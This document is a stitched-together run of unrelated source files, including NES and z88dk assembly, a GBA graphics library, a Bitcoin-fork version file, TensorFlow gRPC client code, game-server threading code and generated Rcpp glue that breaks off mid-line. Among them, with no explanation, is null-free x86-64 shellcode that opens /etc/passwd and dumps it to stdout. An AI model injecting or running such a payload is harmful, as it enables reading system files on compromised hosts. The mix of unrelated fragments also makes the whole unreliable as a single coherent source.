updating code here LDA #$00 STA $2006 ; clean up PPU address registers STA $2006 LDA scroll STA $2005 ; write the horizontal scroll count register LDA #$00 ; no vertical scrolling STA $2005 ;;This is the PPU clean up section, so rendering the next frame starts properly. LDA #%10010000 ; enable NMI, sprites from Pattern Table 0, background from Pattern Table 1 ORA nametable ; select correct nametable for bit 0 STA $2000 LDA #%00011110 ; enable sprites, enable background, no clipping on left side STA $2001 ; run normal game engine code here ; reading from controllers, etc RTI ; return from interrupt DrawNewColumn: LDA scroll ; calculate new column address using scroll register LSR A LSR A LSR A ; shift right 3 times = divide by 8 STA columnLow ; $00 to $1F, screen is 32 tiles wide LDA nametable ; calculate new column address using current nametable EOR #$01 ; invert low bit, A = $00 or $01 ASL A ; shift up, A = $00 or $02 ASL A ; $00 or $04 CLC ADC #$20 ; add high byte of nametable base address ($2000) STA columnHigh ; now address = $20 or $24 for nametable 0 or 1 LDA columnNumber ; column number * 32 = column data offset ASL A ASL A ASL A ASL A ASL A STA sourceLow LDA columnNumber LSR A LSR A LSR A STA sourceHigh LDA sourceLow ; column data start + offset = address to load column data from CLC ADC #<columnData STA sourceLow LDA sourceHigh ADC #>columnData STA sourceHigh DrawColumn: LDA #%00000100 ; set to increment +32 mode STA $2000 LDA $2002 ; read PPU status to reset the high/low latch LDA columnHigh STA $2006 ; write the high byte of column address LDA columnLow STA $2006 ; write the low byte of column address LDX #$1E ; copy 30 bytes LDY #$00 DrawColumnLoop: LDA (sourceLow), Y STA $2007 INY DEX BNE DrawColumnLoop RTS DrawNewAttributes: LDA nametable EOR #$01 ; invert low bit, A = $00 or $01 ASL A ; shift up, A = $00 or $02 ASL A ; $00 or $04 CLC ADC #$23 ; add high byte of attribute base address ($23C0) STA columnHigh ; now address = $23 or $27 for nametable 0 or 1 LDA scroll LSR A LSR A LSR A LSR A LSR A CLC ADC #$C0 STA columnLow ; attribute base + scroll / 32 LDA columnNumber ; (column number / 4) * 8 = column data offset AND #%11111100 ASL A STA sourceLow LDA columnNumber LSR A LSR A LSR A LSR A LSR A LSR A LSR A STA sourceHigh LDA sourceLow ; column data start + offset = address to load column data from CLC ADC #<attribData STA sourceLow LDA sourceHigh ADC #>attribData STA sourceHigh LDY #$00 LDA $2002 ; read PPU status to reset the high/low latch DrawNewAttributesLoop LDA columnHigh STA $2006 ; write the high byte of column address LDA columnLow STA $2006 ; write the low byte of column address LDA (sourceLow), Y ; copy new attribute byte STA $2007 INY CPY #$08 ; copy 8 attribute bytes BEQ DrawNewAttributesLoopDone LDA columnLow ; next attribute byte is at address + 8 CLC ADC #$08 STA columnLow JMP DrawNewAttributesLoop DrawNewAttributesLoopDone: RTS ;;;;;;;;;;;;;; .segment "SETUP" .org $E000 palette: .b $22,$29,$1A,$0F, $22,$36,$17,$0F, $22,$30,$21,$0F, $22,$27,$17,$0F ;;background palette .b $22,$16,$27,$18, $22,$1A,$30,$27, $22,$16,$30,$27, $22,$0F,$36,$17 ;;sprite palette sprites: ;vert tile attr horiz .b $80, $32, $00, $80 ;sprite 0 .b $80, $33, $00, $88 ;sprite 1 .b $88, $34, $00, $80 ;sprite 2 .b $88, $35, $00, $88 ;sprite 3 columnData: .incbin "SMBlevel.bin" attribData: .incbin "SMBattrib.bin" .org $FFFA ;first of the three vectors starts here .w NMIHandler ;when an NMI happens (once per frame if enabled) the ;processor will jump to the label NMI: .w RESET ;when the processor first turns on or is reset, it will jump ;to the label RESET: .w 0 ;external interrupt IRQ is not used in this tutorial ;;;;;;;;;;;;;; .bank 1, 8, $0000, "NES_CHR0" .segment "TILES" .org $0000 .incbin "mario.chr" ;includes 8KB graphics file from SMB1
/* GBA development library for AG0700 * * If you have additions or corrections to this code, please send * them to Adam Sampson <a.sampson@abertay.ac.uk>. */ #include "gba.h" volatile uint16_t *BackBuffer = REG_VIDEO_PAGE1; ObjAttr ObjBuffer[NUM_OBJECTS]; void WaitVSync() { while(REG_VCOUNT >= 160); // wait till VDraw while(REG_VCOUNT < 160); // wait till VBlank } void FlipBuffers() { // Toggle the DCNT_PAGE bit to show the other page uint32_t new_dispcnt = REG_DISPCNT ^ DCNT_PAGE; REG_DISPCNT = new_dispcnt; if (new_dispcnt & DCNT_PAGE) { // We're now showing the second page -- make the first the back buffer BackBuffer = REG_VIDEO_PAGE1; } else { // Vice versa BackBuffer = REG_VIDEO_PAGE2; } } void ClearScreen8(uint8_t colour) { // Set up a 32-bit value containing four pixels in the right colour. uint32_t value = (colour << 24) | (colour << 16) | (colour << 8) | colour; // Fill the display by writing 32 bits at a time. volatile uint32_t *p = (volatile uint32_t *) BackBuffer; int count = (240 * 160) / 4; while (count-- > 0) { *p++ = value; } } void ClearScreen16(uint16_t colour) { // Set up a 32-bit value containing two pixels in the right colour. uint32_t value = (colour << 16) | colour; // Fill the display by writing 32 bits at a time. volatile uint32_t *p = (volatile uint32_t *) REG_VIDEO_BASE; int count = (240 * 160) / 2; while (count-- > 0) { *p++ = value; } } void CopyScreen() { volatile uint32_t *src, *dest; if (REG_DISPCNT & DCNT_PAGE) { // Page 1 is the back buffer. src = (volatile uint32_t *) REG_VIDEO_PAGE2; dest = (volatile uint32_t *) REG_VIDEO_PAGE1; } else { // Page 2 is the back buffer. src = (volatile uint32_t *) REG_VIDEO_PAGE1; dest = (volatile uint32_t *) REG_VIDEO_PAGE2; } // Copy from the front buffer to the back buffer in 32-bit chunks. int count = (240 * 160) / 4; while (count-- > 0) { *dest++ = *src++; } } void ClearObjects() { for (int i = 0; i < NUM_OBJECTS; ++i) { // This can't just set all the attributes to 0, because an object // with attr0 == 0 is actually visible. SetObject(i, ATTR0_HIDE, 0, 0); } UpdateObjects(); } void UpdateObjects() { CopyToVRAM(REG_OBJ_BASE, (uint16_t *) ObjBuffer, sizeof(ObjBuffer) / sizeof(uint16_t)); } void CopyToVRAM(volatile uint16_t *dest, const uint16_t *src, int num_words) { while (num_words-- > 0) { *dest++ = *src++; } }
push 5 next_number: jumpz stop print push 1 sub jump next_number stop: stack
// Copyright (c) 2012-2016 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "clientversion.h" #include "tinyformat.h" #include <string> /** * Name of client reported in the 'version' message. Report the same name * for both bitcoind and bitcoin-core, to make it harder for attackers to * target servers or GUI users specifically. */ const std::string CLIENT_NAME("FlamecoinCore"); /** * Client version number */ #define CLIENT_VERSION_SUFFIX "" /** * The following part of the code determines the CLIENT_BUILD variable. * Several mechanisms are used for this: * * first, if HAVE_BUILD_INFO is defined, include build.h, a file that is * generated by the build environment, possibly containing the output * of git-describe in a macro called BUILD_DESC * * secondly, if this is an exported version of the code, GIT_ARCHIVE will * be defined (automatically using the export-subst git attribute), and * GIT_COMMIT will contain the commit id. * * then, three options exist for determining CLIENT_BUILD: * * if BUILD_DESC is defined, use that literally (output of git-describe) * * if not, but GIT_COMMIT is defined, use v[maj].[min].[rev].[build]-g[commit] * * otherwise, use v[maj].[min].[rev].[build]-unk * finally CLIENT_VERSION_SUFFIX is added */ //! First, include build.h if requested #ifdef HAVE_BUILD_INFO #include "build.h" #endif //! git will put "#define GIT_ARCHIVE 1" on the next line inside archives. $Format:%n#define GIT_ARCHIVE 1$ #ifdef GIT_ARCHIVE #define GIT_COMMIT_ID "$Format:%h$" #define GIT_COMMIT_DATE "$Format:%cD$" #endif #define BUILD_DESC_WITH_SUFFIX(maj, min, rev, build, suffix) \ "v" DO_STRINGIZE(maj) "." DO_STRINGIZE(min) "." DO_STRINGIZE(rev) "." DO_STRINGIZE(build) "-" DO_STRINGIZE(suffix) #define BUILD_DESC_FROM_COMMIT(maj, min, rev, build, commit) \ "v" DO_STRINGIZE(maj) "." DO_STRINGIZE(min) "." DO_STRINGIZE(rev) "." DO_STRINGIZE(build) "-g" commit #define BUILD_DESC_FROM_UNKNOWN(maj, min, rev, build) \ "v" DO_STRINGIZE(maj) "." DO_STRINGIZE(min) "." DO_STRINGIZE(rev) "." DO_STRINGIZE(build) "-unk" #ifndef BUILD_DESC #ifdef BUILD_SUFFIX #define BUILD_DESC BUILD_DESC_WITH_SUFFIX(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD, BUILD_SUFFIX) #elif defined(GIT_COMMIT_ID) #define BUILD_DESC BUILD_DESC_FROM_COMMIT(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD, GIT_COMMIT_ID) #else #define BUILD_DESC BUILD_DESC_FROM_UNKNOWN(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD) #endif #endif const std::string CLIENT_BUILD(BUILD_DESC CLIENT_VERSION_SUFFIX); static std::string FormatVersion(int nVersion) { if (nVersion % 100 == 0) return strprintf("%d.%d.%d", nVersion / 1000000, (nVersion / 10000) % 100, (nVersion / 100) % 100); else return strprintf("%d.%d.%d.%d", nVersion / 1000000, (nVersion / 10000) % 100, (nVersion / 100) % 100, nVersion % 100); } std::string FormatFullVersion() { return CLIENT_BUILD; } /** * Format the subversion field according to BIP 14 spec (https://github.com/bitcoin/bips/blob/master/bip-0014.mediawiki) */ std::string FormatSubVersion(const std::string& name, int nClientVersion, const std::vector<std::string>& comments) { std::ostringstream ss; ss << "/"; ss << name << ":" << FormatVersion(nClientVersion); if (!comments.empty()) { std::vector<std::string>::const_iterator it(comments.begin()); ss << "(" << *it; for(++it; it != comments.end(); ++it) ss << "; " << *it; ss << ")"; } ss << "/"; return ss.str(); }
global _start section .text _start: jmp _push_filename _readfile: ; syscall open file pop rdi xor byte [rdi + 11], 0x41 xor rax, rax add al, 2 xor rsi, rsi syscall sub sp, 0xfff lea rsi, [rsp] mov rdi, rax xor rdx, rdx mov dx, 0xfff xor rax, rax syscall xor rdi, rdi add dil, 1 mov rdx, rax xor rax, rax add al, 1 syscall ;syscall exit xor rax, rax add al, 60 syscall _push_filename: call _readfile path: db "/etc/passwdA"
#include "pch.h" #include "boulder.h" boulder::boulder() : m_timer(0.0f), m_speed(2.f) { } boulder::~boulder() { } void boulder::initialise(engine::ref<engine::game_object> object) { m_object = object; glm::vec3 position(0.f, 2.f, 20.f); m_object->set_forward(glm::vec3(0.f, 0.f, -1.f)); m_object->set_position(position); } void boulder::on_update(const engine::timestep& time_step) { m_object->set_position(m_object->position() += m_object->forward() * m_speed * (float)time_step); }
/* Copyright 2016 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/core/distributed_runtime/rpc/grpc_remote_master.h" #include <utility> #include "tensorflow/core/distributed_runtime/call_options.h" #include "tensorflow/core/distributed_runtime/master_interface.h" #include "tensorflow/core/distributed_runtime/rpc/grpc_master_service_impl.h" #include "tensorflow/core/distributed_runtime/rpc/grpc_util.h" #include "tensorflow/core/lib/core/errors.h" #include "tensorflow/core/lib/core/status.h" #include "tensorflow/core/lib/strings/strcat.h" #include "tensorflow/core/platform/env.h" #include "tensorflow/core/platform/tracing.h" #include "tensorflow/core/profiler/lib/traceme.h" #include "tensorflow/core/protobuf/master.pb.h" namespace tensorflow { // GrpcRemoteMaster is an implementation of the MasterInterface // that uses gRPC to talk to the Master service. class GrpcRemoteMaster : public MasterInterface { using MasterServiceStub = grpc::MasterService::Stub; public: explicit GrpcRemoteMaster(const SharedGrpcChannelPtr& client_channel) : stub_(grpc::MasterService::NewStub(client_channel)) {} ~GrpcRemoteMaster() override {} Status CreateSession(CallOptions* call_options, const CreateSessionRequest* request, CreateSessionResponse* response) override { return CallWithRetry(call_options, request, response, &MasterServiceStub::CreateSession); } Status ExtendSession(CallOptions* call_options, const ExtendSessionRequest* request, ExtendSessionResponse* response) override { return CallWithRetry(call_options, request, response, &MasterServiceStub::ExtendSession); } Status PartialRunSetup(CallOptions* call_options, const PartialRunSetupRequest* request, PartialRunSetupResponse* response) override { return CallWithRetry(call_options, request, response, &MasterServiceStub::PartialRunSetup); } Status RunStep(CallOptions* call_options, RunStepRequestWrapper* request, MutableRunStepResponseWrapper* response) override { return CallWithRetry(call_options, &request->ToProto(), get_proto_from_wrapper(response), &MasterServiceStub::RunStep, "RunStep/Client"); } Status CloseSession(CallOptions* call_options, const CloseSessionRequest* request, CloseSessionResponse* response) override { return CallWithRetry(call_options, request, response, &MasterServiceStub::CloseSession); } Status ListDevices(CallOptions* call_options, const ListDevicesRequest* request, ListDevicesResponse* response) override { return CallWithRetry(call_options, request, response, &MasterServiceStub::ListDevices); } Status Reset(CallOptions* call_options, const ResetRequest* request, ResetResponse* response) override { return CallWithRetry(call_options, request, response, &MasterServiceStub::Reset); } Status MakeCallable(CallOptions* call_options, const MakeCallableRequest* request, MakeCallableResponse* response) override { return CallWithRetry(call_options, request, response, &MasterServiceStub::MakeCallable); } Status RunCallable(CallOptions* call_options, const RunCallableRequest* request, RunCallableResponse* response) override { return CallWithRetry(call_options, request, response, &MasterServiceStub::RunCallable); } Status ReleaseCallable(CallOptions* call_options, const ReleaseCallableRequest* request, ReleaseCallableResponse* response) override { return CallWithRetry(call_options, request, response, &MasterServiceStub::ReleaseCallable); } private: // Start tracing, attaching a unique ID to both the trace and the RPC. profiler::TraceMe* NewTraceRpc(StringPiece name, ::grpc::ClientContext* ctx) { string trace_id = strings::StrCat(tracing::GetUniqueArg()); ctx->AddMetadata(GrpcIdKey(), trace_id); return new profiler::TraceMe( [&] { return strings::StrCat(name, ":", trace_id); }, profiler::TraceMeLevel::kInfo); } template <typename Request, typename Response> Status CallWithRetry(CallOptions* call_options, const Request* request, Response* response, ::grpc::Status (MasterServiceStub::*pfunc)( ::grpc::ClientContext*, const Request&, Response*), string trace_string = {}) { int64 timeout_in_ms = call_options->GetTimeout(); int64 expired_time_micros = Env::Default()->NowMicros(); if (timeout_in_ms > 0) { expired_time_micros += (timeout_in_ms / 1000.); } Status s; for (int num_retries = 0;; ++num_retries) { ::grpc::ClientContext ctx; std::unique_ptr<profiler::TraceMe> trace; if (!trace_string.empty()) { trace.reset(NewTraceRpc(trace_string, &ctx)); } ctx.set_fail_fast(false); if (timeout_in_ms > 0) { // We do not modify the timeout here to match legacy behavior. However, // this could violate the contract of tensorflow::Session. If we retry // an RPC just before the deadline is exceeded, we will still set the // timeout to the original value. This leads to the overall timeout // being double what was expected. // TODO(b/117162170): investigate fixing this behavior for legacy and // gRPC RPC layers. ctx.set_deadline(gpr_time_from_millis(timeout_in_ms, GPR_TIMESPAN)); } s = FromGrpcStatus((stub_.get()->*pfunc)(&ctx, *request, response)); if (!errors::IsUnavailable(s)) { return s; } // TODO(b/117162170): we may want to make this configurable. constexpr int kMaxRetries = 10; LOG(WARNING) << "RPC failed with status = \"" << s << "\" and grpc_error_string = \"" << ctx.debug_error_string() << "\", maybe retrying the RPC"; if (num_retries >= kMaxRetries) { LOG(WARNING) << "Too many retries, returning last status: " << s; return s; } const int64 now_micros = Env::Default()->NowMicros(); const int64 deadline_with_backoff_micros = now_micros + ComputeBackoffMicroseconds(num_retries); // Wait for a short period of time before retrying the RPC. If our // backoff would put us past the RPC deadline, we truncate it to ensure // our RPC starts before the deadline. const auto backoff_until = (timeout_in_ms <= 0 || expired_time_micros > deadline_with_backoff_micros) ? deadline_with_backoff_micros : expired_time_micros; Env::Default()->SleepForMicroseconds(backoff_until - now_micros); if (Env::Default()->NowMicros() > expired_time_micros && timeout_in_ms > 0) { // If timeout_in_ms is set, exit the retry loop on timeout. return errors::DeadlineExceeded(ctx.debug_error_string()); } } } std::unique_ptr<MasterServiceStub> stub_; }; MasterInterface* NewGrpcMaster(const SharedGrpcChannelPtr& channel) { return new GrpcRemoteMaster(channel); } } // namespace tensorflow
#ifdef _WIN32 #define _WIN32_DCOM // required to initialize OLE #endif #include "../common/graycom.h" #include "../graysvr/graysvr.h" #include "threads.h" #ifndef _WIN32 #include <algorithm> #ifndef _BSD #include <sys/prctl.h> #endif #endif // number of exceptions after which we restart thread and think that the thread have gone in exceptioning loops #define EXCEPTIONS_ALLOWED 10 // number of milliseconds to wait for a thread to close #define THREADJOIN_TIMEOUT 60000 // Normal Buffer SimpleMutex g_tmpStringMutex; volatile long g_tmpStringIndex = 0; char g_tmpStrings[THREAD_TSTRING_STORAGE][THREAD_STRING_LENGTH]; // TemporaryString Buffer SimpleMutex g_tmpTemporaryStringMutex; volatile long g_tmpTemporaryStringIndex = 0; struct TemporaryStringStorage { char m_buffer[THREAD_STRING_LENGTH]; char m_state; } g_tmpTemporaryStringStorage[THREAD_STRING_STORAGE]; /** * ThreadHolder **/ spherethreadlist_t ThreadHolder::m_threads; size_t ThreadHolder::m_threadCount = 0; bool ThreadHolder::m_inited = false; SimpleMutex ThreadHolder::m_mutex; TlsValue<IThread *> ThreadHolder::m_currentThread; extern CLog g_Log; IThread *ThreadHolder::current() { init(); IThread *thread = m_currentThread; return thread ? thread : DummySphereThread::getInstance(); } void ThreadHolder::push(IThread *thread) { init(); SimpleThreadLock lock(m_mutex); m_threads.push_back(thread); ++m_threadCount; } void ThreadHolder::pop(IThread *thread) { init(); if( m_threadCount <= 0 ) throw CGrayError(LOGL_ERROR, 0, "Trying to dequeue thread while no threads are active"); SimpleThreadLock lock(m_mutex); spherethreadlist_t::iterator it = std::find(m_threads.begin(), m_threads.end(), thread); if (it != m_threads.end()) { --m_threadCount; m_threads.erase(it); return; } throw CGrayError(LOGL_ERROR, 0, "Unable to dequeue a thread (not registered)"); } IThread * ThreadHolder::getThreadAt(size_t at) { if ( at > getActiveThreads() ) return NULL; SimpleThreadLock lock(m_mutex); for ( spherethreadlist_t::const_iterator it = m_threads.begin(); it != m_threads.end(); ++it ) { if ( at == 0 ) return *it; --at; } return NULL; } void ThreadHolder::init() { if( !m_inited ) { memset(g_tmpStrings, 0, sizeof(g_tmpStrings)); memset(g_tmpTemporaryStringStorage, 0, sizeof(g_tmpTemporaryStringStorage)); m_inited = true; } } /* * AbstractThread */ int AbstractThread::m_threadsAvailable = 0; AbstractThread::AbstractThread(const char *name, IThread::Priority priority) { if( AbstractThread::m_threadsAvailable == 0 ) { // no threads were started before - initialise thread subsystem #ifdef _WIN32 if( CoInitializeEx(NULL, COINIT_MULTITHREADED) != S_OK ) { throw CGrayError(LOGL_FATAL, 0, "OLE is not available, threading model unimplementable"); } #endif AbstractThread::m_threadsAvailable++; } m_id = 0; m_name = name; m_handle = 0; m_hangCheck = 0; m_terminateRequested = true; setPriority(priority); } AbstractThread::~AbstractThread() { terminate(false); AbstractThread::m_threadsAvailable--; if( AbstractThread::m_threadsAvailable == 0 ) { // all running threads have gone, the thread subsystem is no longer needed #ifdef _WIN32 CoUninitialize(); #else // No pthread equivalent #endif } } void AbstractThread::start() { #ifdef _WIN32 m_handle = reinterpret_cast<spherethread_t>(_beginthreadex(NULL, 0, &runner, this, 0, NULL)); #else pthread_attr_t attr; if ( pthread_attr_init(&attr) != 0 ) { m_handle = 0; throw CGrayError(LOGL_FATAL, 0, "Unable to init thread attributes"); } if ( pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED) != 0 ) { m_handle = 0; throw CGrayError(LOGL_FATAL, 0, "Unable to set thread detach state"); } if ( pthread_create(&m_handle, &attr, &runner, this) != 0 ) { m_handle = 0; throw CGrayError(LOGL_FATAL, 0, "Unable to create thread"); } if ( pthread_attr_destroy(&attr) != 0 ) { m_handle = 0; throw CGrayError(LOGL_FATAL, 0, "Unable to destroy thread attributes"); } #endif m_terminateEvent.reset(); ThreadHolder::push(this); } void AbstractThread::terminate(bool ended) { EXC_TRY("Terminate"); if( isActive() ) { bool wasCurrentThread = isCurrentThread(); if (ended == false) { g_Log.Event(LOGL_WARN, "Forcing thread '%s' to terminate...\n", getName()); // if the thread is current then terminating here will prevent cleanup from occurring if (wasCurrentThread == false) { #ifdef _WIN32 ExitThread(0); CloseHandle(m_handle); #else pthread_cancel(m_handle); // IBM say it so #endif } } // Common things ThreadHolder::pop(this); m_id = 0; m_handle = 0; // let everyone know we have been terminated m_terminateEvent.set(); // current thread can be terminated now if (ended == false && wasCurrentThread) { #ifdef _WIN32 _endthreadex(EXIT_SUCCESS); #else pthread_exit(EXIT_SUCCESS); #endif } } EXC_CATCH; } void AbstractThread::run() { // is the very first since there is a possibility of something being altered there onStart(); int exceptions = 0; bool lastWasException = false; m_terminateRequested = false; for (;;) { bool gotException = false; // report me being alive if I am being checked for status if( m_hangCheck != 0 ) { m_hangCheck = 0; } try { tick(); // ensure this is recorded as 'idle' time (ideally this should // be in tick() but we cannot guarantee it to be called there CurrentProfileData.Start(PROFILE_IDLE); } catch ( const CGrayError &e ) { gotException = true; g_Log.CatchEvent(&e, "%s::tick", getName()); CurrentProfileData.Count(PROFILE_STAT_FAULTS, 1); } catch( ... ) { gotException = true; g_Log.CatchEvent(NULL, "%s::tick", getName()); CurrentProfileData.Count(PROFILE_STAT_FAULTS, 1); } if( gotException ) { if( lastWasException ) { ++exceptions; } else { lastWasException = true; exceptions = 0; } if( exceptions >= EXCEPTIONS_ALLOWED ) { // a bad thing really happened. ALL previous EXCEPTIONS_ALLOWED ticks resulted in exception // almost for sure we have looped somewhere and have no way to get out from this situation // probably a thread restart can fix the problems // but there is no real need to restart a thread, we will just simulate a thread restart, // notifying a subclass like we have been just restarted, so it will restart it's operations g_Log.Event(LOGL_CRIT, "'%s' thread raised too many exceptions, restarting...\n", getName()); onStart(); lastWasException = false; } } else { lastWasException = false; } if( shouldExit() ) break; m_sleepEvent.wait(m_tickPeriod); } } SPHERE_THREADENTRY_RETNTYPE AbstractThread::runner(void *callerThread) { AbstractThread * caller = reinterpret_cast<AbstractThread*>(callerThread); if (caller != NULL) { caller->run(); caller->terminate(true); } return 0; } bool AbstractThread::isActive() const { return m_handle != 0; } void AbstractThread::waitForClose() { if (isActive()) { if (isCurrentThread() == false) { // flag that we want the thread to terminate m_terminateRequested = true; awaken(); // give the thread a chance to close on its own, and then // terminate anyway m_terminateEvent.wait(THREADJOIN_TIMEOUT); } terminate(false); } } void AbstractThread::awaken() { m_sleepEvent.signal(); } bool AbstractThread::isCurrentThread() const { #ifdef _WIN32 return (getId() == ::GetCurrentThreadId()); #else return pthread_equal(m_handle,pthread_self()); #endif } bool AbstractThread::checkStuck() { if( isActive() ) { if( m_hangCheck == 0 ) { // initiate hang check m_hangCheck = 0xDEAD; } else if( m_hangCheck == 0xDEAD ) { // one time period was not answered, wait a bit more m_hangCheck = 0xDEADDEADl; // TODO: //g_Log.Event(LOGL_CRIT, "'%s' thread seems being hang (frozen) at '%s'?\n", m_name, m_action); } else if( m_hangCheck == 0xDEADDEADl ) { // TODO: //g_Log.Event(LOGL_CRIT, "'%s' thread hang, restarting...\n", m_name); #ifdef _THREAD_TRACK_CALLSTACK static_cast<AbstractSphereThread*>(this)->printStackTrace(); #endif terminate(false); run(); start(); return true; } } return false; } #ifdef _WIN32 #pragma pack(push, 8) typedef struct tagTHREADNAME_INFO { DWORD dwType; LPCTSTR szName; DWORD dwThreadID; DWORD dwFlags; } THREADNAME_INFO; #pragma pack(pop) #define MS_VC_EXCEPTION 0x406D1388 #endif void AbstractThread::onStart() { // start-up actions for each thread // when implemented in derived classes this method must always be called too, preferably before // the custom implementation // we set the id here to ensure it is available before the first tick, otherwise there's // a small delay when setting it from AbstractThread::start and it's possible for the id // to not be set fast enough (particular when using pthreads) #ifdef _WIN32 m_id = ::GetCurrentThreadId(); #else m_id = pthread_self(); #endif ThreadHolder::m_currentThread = this; // register the thread name #ifdef _WIN32 // Windows uses THREADNAME_INFO structure to set thread name THREADNAME_INFO info; info.dwType = 0x1000; info.szName = getName(); info.dwThreadID = static_cast<DWORD>(-1); info.dwFlags = 0; __try { RaiseException(MS_VC_EXCEPTION, 0, sizeof(info) / sizeof(ULONG_PTR), reinterpret_cast<ULONG_PTR*>(&info)); } __except(EXCEPTION_EXECUTE_HANDLER) { } #elif !defined(_BSD) // Unix uses prctl to set thread name // thread name must be 16 bytes, zero-padded if shorter char name[16] = { '\0' }; strcpylen(name, m_name, COUNTOF(name)); prctl(PR_SET_NAME, name, 0, 0, 0); #endif } void AbstractThread::setPriority(IThread::Priority pri) { // detect a sleep period for thread depending on priority switch ( pri ) { case IThread::Idle: m_tickPeriod = 1000; break; case IThread::Low: m_tickPeriod = 200; break; default: pri = IThread::Normal; // fall through case IThread::Normal: m_tickPeriod = 100; break; case IThread::High: m_tickPeriod = 50; break; case IThread::Highest: m_tickPeriod = 5; break; case IThread::RealTime: m_tickPeriod = 0; break; case IThread::Disabled: m_tickPeriod = AutoResetEvent::_infinite; break; } m_priority = pri; } bool AbstractThread::shouldExit() { return m_terminateRequested; } /* * AbstractSphereThread */ AbstractSphereThread::AbstractSphereThread(const char *name, Priority priority) : AbstractThread(name, priority) { #ifdef _THREAD_TRACK_CALLSTACK m_stackPos = 0; memset(m_stackInfo, 0, sizeof(m_stackInfo)); m_freezeCallStack = false; #endif // profiles that apply to every thread m_profile.EnableProfile(PROFILE_IDLE); m_profile.EnableProfile(PROFILE_OVERHEAD); m_profile.EnableProfile(PROFILE_STAT_FAULTS); } // IMHO we need a lock on allocateBuffer and allocateStringBuffer char *AbstractSphereThread::allocateBuffer() { SimpleThreadLock stlBuffer(g_tmpStringMutex); ++g_tmpStringIndex; if ( g_tmpStringIndex >= THREAD_TSTRING_STORAGE ) g_tmpStringIndex %= THREAD_TSTRING_STORAGE; char *szBuffer = g_tmpStrings[g_tmpStringIndex]; *szBuffer = '\0'; return szBuffer; } TemporaryStringStorage *AbstractSphereThread::allocateStringBuffer() { long initialPosition = g_tmpTemporaryStringIndex; long index; for (;;) { index = ++g_tmpTemporaryStringIndex; if( g_tmpTemporaryStringIndex >= THREAD_STRING_STORAGE ) { index = g_tmpTemporaryStringIndex %= THREAD_STRING_STORAGE; } if( g_tmpTemporaryStringStorage[index].m_state == 0 ) { TemporaryStringStorage * store = &g_tmpTemporaryStringStorage[index]; *store->m_buffer = '\0'; return store; } // a protection against deadlock. All string buffers are marked as being used somewhere, so we // have few possibilities (the case shows that we have a bug and temporary strings used not such): // a) return NULL and wait for exceptions in the program // b) allocate a string from a heap if( initialPosition == index ) { // but the best is to throw an exception to give better formed information for end users // rather than access violations throw CGrayError(LOGL_FATAL, 0, "Thread temporary string buffer is full"); } } } void AbstractSphereThread::allocateString(TemporaryString &string) { SimpleThreadLock stlBuffer(g_tmpTemporaryStringMutex); TemporaryStringStorage * store = allocateStringBuffer(); string.init(store->m_buffer, &store->m_state); } bool AbstractSphereThread::shouldExit() { if ( g_Serv.m_iModeCode == SERVMODE_Exiting ) return true; return AbstractThread::shouldExit(); } #ifdef _THREAD_TRACK_CALLSTACK void AbstractSphereThread::pushStackCall(const char *name) { if ( !m_freezeCallStack ) { m_stackInfo[m_stackPos].functionName = name; m_stackInfo[m_stackPos].startTime = GetTickCount64(); ++m_stackPos; m_stackInfo[m_stackPos].startTime = 0; } } void AbstractSphereThread::printStackTrace() { // don't allow call stack to be modified whilst we're printing it freezeCallStack(true); ULONGLONG startTime = m_stackInfo[0].startTime; ULONGLONG timedelta; unsigned int threadId = getId(); g_Log.EventDebug("__ thread (%u) __ | # | _____________ function _____________ | __ ticks passed from previous function start __\n", threadId); for ( size_t i = 0; i < 0x1000; ++i ) { if ( m_stackInfo[i].startTime == 0 ) break; timedelta = m_stackInfo[i].startTime - startTime; g_Log.EventDebug(">> %u | %2" FMTSIZE_T " | %36s | +%llu %s\n", threadId, i, m_stackInfo[i].functionName, timedelta, (i == (m_stackPos - 1)) ? "<-- exception catch point (below is guessed and could be incorrect!)" : ""); startTime = m_stackInfo[i].startTime; } freezeCallStack(false); } #endif /* * DummySphereThread */ DummySphereThread *DummySphereThread::instance = NULL; DummySphereThread::DummySphereThread() : AbstractSphereThread("dummy", IThread::Normal) { } DummySphereThread *DummySphereThread::getInstance() { if( instance == NULL ) { instance = new DummySphereThread(); } return instance; } void DummySphereThread::tick() { }
; ; Z88dk Generic Floating Point Math Library ; ; TOS >= FA ; ; $Id: dne.asm,v 1.3 2016-06-21 21:16:49 dom Exp $: SECTION code_fp PUBLIC dne EXTERN dcompar EXTERN f_yes EXTERN f_no .dne call dcompar jp nz,f_yes jp f_no
// Generated by rstantools. Do not edit by hand. #include <Rcpp.h> using namespace Rcpp ; #include "stanExports_glm_bhm.h" RCPP_MODULE(stan_fit4glm_bhm_mod) { class_<rstan::stan_fit<stan_model, boost::random::ecuyer1988> >("model_glm_bhm") .constructor<SEXP,SEXP,SEXP>() .method("call_sampler", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::call_sampler) .method("param_names", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::param_names) .method("param_names_oi", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::param_names_oi) .method("param_fnames_oi", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::param_fnames_oi) .method("param_dims", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::param_dims) .method("param_dims_oi", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::param_dims_oi) .method("update_param_oi", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::update_param_oi) .method("param_oi_tidx", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::param_oi_tidx) .method("grad_log_prob", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::grad_log_prob) .method("log_prob", 